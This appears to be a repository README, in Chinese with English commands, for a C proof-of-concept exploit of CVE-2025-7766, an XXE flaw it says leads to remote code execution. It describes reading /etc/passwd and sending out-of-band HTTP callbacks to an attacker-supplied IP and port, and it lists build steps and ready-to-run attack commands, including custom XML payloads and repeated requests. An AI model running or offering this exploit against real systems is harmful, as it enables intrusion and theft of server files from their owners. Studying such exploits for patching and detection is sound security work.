bytereaper77/cve-2025-7766基于C语言的CVE-2025-7766 PoC漏洞利用，演示通过文件读取和带外HTTP回调实现XXE到RCE。支持自定义XML负载和重复请求。
用于利用CVE-2025-7766中XML外部实体漏洞的PoC。演示文件读取（/etc/passwd）和带外HTTP回调。
作者: Byte Reaper
CVE: CVE-2025-7766
漏洞类型: 通过XML外部实体（XXE）实现远程代码执行
/etc/passwd。gcc -o exploit exploit.c argparse.c -lcurl
# Read file payload
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT
# Out-of-band request payload
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT -r
# Custom payload
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT -b '<YOUR_CUSTOM_XML>'
# Repeat requests 5 times
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT -r -l 5
# Verbose output
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT -v
MIT